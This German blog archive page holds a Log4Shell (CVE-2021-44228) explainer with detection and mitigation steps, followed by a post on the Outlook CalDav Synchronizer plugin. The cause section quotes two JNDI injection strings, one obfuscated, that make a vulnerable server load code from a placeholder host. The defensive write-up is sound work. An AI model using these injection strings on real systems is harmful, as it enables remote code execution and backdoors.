Archiv der Kategorie: Workaround

UNBLOG Tutorials Usability and Addons Integration with Technical Workarounds and Tutorials for Professionals.

Zero-Day-Log4j Lücke Prüfen CVE-2021-44228

Java-Logging Proof-of-Concept

Der Zero-Day-Exploit mit einer kritische Sicherheitslücke im Java-Logging log4j sorgt für Schlagzeilen und Verunsicherung. Bekannt ist, dass die Lücke sehr weitverbreitet und vielfach ausgenutzt wird. Doch es ist noch längst nicht bekannt, was alles konkret betroffen ist und wie man seine Systeme am besten schützen kann. Der Beitrag zeigt das vorgehen und hilft das Problem einzudämmen.

Ursache

Der Exploit ermöglicht Remotecodeausführung und beruht darauf, dass Log4J Daten von LDAP über eine JNDI-Schnittstelle (Java Naming and Directory Interface) lädt.

In den Java-Archive kommt die Bibliothek Log4j häufig zum Einsatz. Die JNDI-Schnittstelle protokolliertein Ereignis wie dieses:

GET /?x=${jndi:ldap}://12.34.56.78

wird das nicht nur geloggt, es wird auch versucht den Text zu interpretieren, wie etwa mit:

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://12.34.56.78:12344

versucht den Host „12.34.56.78“ zu kontaktiert, nimmt von diesem malicious Java-Code entgegen und führt diesen aus. Anschließend folgt dann schnell ein gefährliches Backdoor Programm auf das System. Deshalb der Angriff bezeichnenderweise „Log4Shell“ genannt wird, mit Logging direkten Zugriff auf das System erhalten.

Zero-Day-Log4j Proof-of-Concept-Code CVE-2021-44228

Log4shell erkennen mit log4j-detector

log4j-detector erkennt Versionen auf dem Dateisystem, einschließlich tief rekursiv verschachtelter Kopien. Ausführbar auf Linux, Windows und Mac und überall wo Java läuft!

Hat man Zugang zum System, auf diesem ein Dienst läuft, kann dort nach verwundbaren Instanzen der Bibliothek gesucht werden. Diese sind typischerweise in den Java JAR-Archiven. Der log4j-detector durchsucht diese und meldet anfällige Versionen von 2.x (2.0-beta9 bis 2.14.1). Die Version 2.15.0 ist bereits gefixt und aktuell ist 2.17.1 verfügbar, die Version 1.2.x ist nicht betroffen.

Ist wie hier die Unifi Controller Software installiert, sollte dringendst die Log4J-Bibliothek überprüft werden. Nach dem entpacken von log4j-detector-master.zip findet man im Verzeichnis die Datei log4j-detector-2021.12.13.jar.

java -jar log4j-detector-2021.12.13.jar "%UserProfile%\Ubiquiti UniFi"

log4j-detector mit Pfad Übergabe ausführen der gescannt werden soll.

Erscheint nach dem ausführen die Ausgabe _VULNERABLE_, hat man eine anfällige Version und es ist Handlungsbedarf angesagt.

Absichern und vorbeugen

Ist man sich nicht sicher, ob die Infrastruktur abgesichert ist, sollte man zumindest die Angriffsfläche weit möglichst reduzieren. Dazu gehören unter anderem Maßnahmen wie:

  • Zugangsbeschränkungen
  • Segmentierte Netzwerke
  • Reduzierte Rechte
  • Beschränkung ausgehender Verbindungen
  • Beschränkung ausführbarer Programme

Wenn noch kein Update des Herstellers vorliegt, kann man anfällige Dienste durch Setzen der Variable log4j2.formatMsgNoLookups auf true sichern. Hierzu startet man die Java Virtual Machine mit dem Argument –Dlog4j2.formatMsgNoLookups=True oder setzt die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Beides funktioniert jedoch erst ab Log4J Version 2.10. im Zweifelsfall also erneut testen.

Bei Windows fügt man die Umgebungsvariable ein, über die Tasten Win+R mit Ausführen von „control sysdm.cpl,,3“

Die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=“true“ unter Systemvariablen hinzufügen.

Ebenso besteht die Möglichkeit, den JVM Dienst mit Option zu starten.

java -Dlog4j2.formatMsgNoLookups=True -jar app.jar

Update Apache2

Wenn es die Installation zulässt, kann man Log4j direkt updateten. Zum Download der neusten Apache Log4j 2 Version hier, nachdem entpacken die Dateien in der JRE Bibliothek ersetzen, die log4j-*.jar Dateien unter _jre_root_/lib/.

log4j-api-2.xx.x.jar
log4j-core-2.xx.x.jar
log4j-slf4j-impl-2.xx.x.jar

Apache2 Update für Windows

Um die Log4j 2.17.1 Version für Java unter Windows 10 und Windows Server 2019 zu installieren (Update), wird eine Eingabeaufforderung (cmd) als Administrator geöffnet, um folgende Befehle auszuführen. Grundsätzlich können die Befehlszeilen auf anderen Windows Version ausgeführt werden, dabei muss beachtet werden, das anstelle von curl und tar ein Browser für den Download, und Winzip oder 7-Zip zum entpacken verwendet wird.

cd %userprofile%\downloads
curl -O https://archive.apache.org/dist/logging/log4j/2.17.1/apache-log4j-2.17.1-bin.zip
tar -xf apache-log4j-2.17.1-bin.zip
cd apache-log4j-2.17.1-bin
copy log4j-api-2.17.1.jar "%JAVA_HOME%\lib"
copy log4j-core-2.17.1.jar "%JAVA_HOME%\lib"
copy log4j-slf4j-impl-2.17.1.jar "%JAVA_HOME%\lib"
cd "%JAVA_HOME%\lib"
ren log4j-api-?.??.?.jar log4j-api-x.xx.x.old
ren log4j-core-?.??.?.jar log4j-core-x.xx.x.old
ren log4j-slf4j-impl-?.??.?.jar log4j-slf4j-impl-x.xx.x.old

  Die Umgebungsvariable %JAVA_HOME% muss vorhanden sein, bei Java 8 ist es für gewöhnlich C:\Program Files\Java\jre1.8.0_281, entsprechend der installierten Version.

Im Verzeichnis %JAVA_HOME%\lib müssen die bestehenden log4j-Dateien, zB. die Version 2.13.3-Dateien ersetzt werden, hierzu kann man symbolische Links erstellen, die 2.17.1-Dateien müssen auf die original 2.13.3-Dateien zeigen, diese zuvor umbenannt wurden.

cd "%JAVA_HOME%\lib"
mklink log4j-api-2.13.3.jar log4j-api-2.17.1.jar
mklink log4j-core-2.13.3.jar log4j-core-2.17.1.jar
mklink log4j-slf4j-impl-2.13.3.jar log4j-slf4j-impl-2.17.1.jar

  Alle Apache log4j Versionen findet man im ASF-Archiv-Repository.

Outlook CalDav Synchronizer

CalDav Synchronizer in Outlook einrichten

Die Funktion des CalDAV Synchronizer Plugin für Outlook ist, die Synchronisation von Termine, Kontakte und Aufgaben zwischen Outlook und Google, SOGo, Nextcloud oder anderen CalDAV und CardDAV Servern.

Diagramm Outlook CalDav Synchronizer SOGo

Dabei bietet Outlook CalDav Synchronizer eine wechselseitige Synchronisation von Terminen, Aufgaben und Kontakten zwischen Outlook und diversen CardDAV-Providern. Das freie Plugin ist mit einer Vielzahl von CalDAV-Anbietern kompatibel, wie mit Google Calendar und SOGo.

CalDav Synchronizer Setup

Nach dem setup findet man in Outlook den Abschnitt CalDav Synchronizer im Menüband, in diesem Synchronisationsprofile eingerichtet werden, für Kalender, Aufgaben und Personen die man auf andere Geräte synchronisieren möchte.

Download des neusten CalDav Synchronizer bei caldavsynchronizer.org

Addendum

Zum Nachteil vieler Anwender gibt es keine offiziell unterstützte Möglichkeit, die Kalender von Outlook und Google zu synchronisieren. Und ohne Exchange-Server fällt auch der Abgleich mit anderen Kalendersystemen schwer. Das kostenfreie Tool ‚Outlook CalDav Synchronizer‘ verschafft hier Abhilfe und erweitert Outlook um die Fähigkeit, eigene Termine und Kontakte mit Cal/CardDAV-Servern wie beispielsweise von Google abzugleichen. Das Outlook Add-on ist ab Version 2007 verfügbar und bindet sich einfach in das Menüband ein.

Funktion von CalDAV

Die Funktion von CalDAV ist es, Ereignisse wie z.B. Termine oder Frei-/Belegt-Zeiten zu verwalten und über das Webprotokoll HTTP zu veröffentlichen. Die selbe Funktion übernimmt CardDAV für Kontakte und Adressen.

CalDAV-Spezifikation

Die CalDAV-Spezifikation wurde erstmals 2003 von Lisa Dusseault als Entwurf an die Internet Engineering Task Force (IETF) übermittelt und bekam schnell die Unterstützung einiger Hersteller von Kalendersoftware. Im Januar 2005 erfolgte erstmals ein Test zwischen zwei Servern und drei Clients; diese arbeiteten erfolgreich zusammen. CalDAV hat keine eigene IETF-Arbeitsgruppe, aber die Entwickler haben es dennoch als IETF-Standard RFC 4791 Calendaring Extensions to WebDAV (CalDAV) publiziert. CalDAV ist für die Implementierung in jegliche Kalendersoftware entwickelt worden. Dabei verwaltet das CalDAV-Protokoll die Zugriffe auf die Daten nach fest definierten Zugriffsregeln. Es wurde als offener Standard ausgeführt, um eine plattformunabhängige Nutzung zu fördern.